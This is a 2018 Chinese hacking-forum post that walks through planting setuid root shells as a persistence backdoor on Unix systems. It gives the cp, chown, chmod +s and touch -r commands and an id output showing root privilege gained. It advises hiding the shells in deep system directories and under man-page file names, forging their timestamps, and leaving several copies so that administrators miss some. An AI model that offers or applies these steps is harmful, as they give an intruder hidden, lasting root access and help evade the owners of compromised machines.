鸬鹚洲 发表于 2018-8-21 10:58:33

suid shell-linkboy

  在 /tmp 或者其他的目录下放置 suid shell。以后只要你运行这个,就会轻易得到根用户权限。
  #cp /bin/ksh /tmp/.sh
  #chown root:root /tmp/.sh
  #chmod +s /tmp/.sh
  当你运行/tmp/.sh时,
  这里我们用ksh shell是因为ksh 可以suid.换成其他的shell也许可能不行,具体看各个主机的情况而定.一般我们使用ksh.我们使用的溢出用来获得root权限的,也一般是溢出后执行/bin/ksh.
  $id
  uid=1002(oracle) gid=1(other)
  $/tmp/.sh
  #
  #id
  uid=1002(oracle) gid=1(other) euid=0(root) egid=0(root)
  我们又是root了.
  当然,为了更加隐蔽,我们不能把suid shell 放在/tmp
  因为它是很容易被发现的.
  我们应该放在深层的目录里面.
  比如:
  /usr/X11/include/X11/
  或者
  /usr/lib/
  等等
  通常我做的是:
  # mkdir /usr/lib/lib/ mkdir /usr/lib/lib/...
  # cp /bin/ksh /usr/lib/lib/.../lib
  # chown root:sys /usr/lib/lib/.../lib
  # chmod 4555 /usr/lib/lib/.../lib
  # touch -r /bin/ksh /usr/lib/lib/.../lib
  一个简单的suid shell安放好了.
  不过,大家不要学我,我们要放在最隐蔽的地方.我新建目录的隐藏效果不是最好的.
  我们必须利用现有的目录来安放,并且这个目录要有很多其它的文件做掩护.
  大家不防试试/usr/man/下的目录.
  很少管理员会检查这里的.
  比如:
  /usr/man/man1/
  /usr/man/manl/
  等.
  比如:
  # cp /bin/ksh /usr/man/man1/ja.1
  :)当然具体要看你自己琢磨一下了.我敢说不难,最好多放置几个suid shell 在不同的目录.这样即使管理员发现了一个,也还有另外一个.:)

页: [1]
查看完整版本: suid shell-linkboy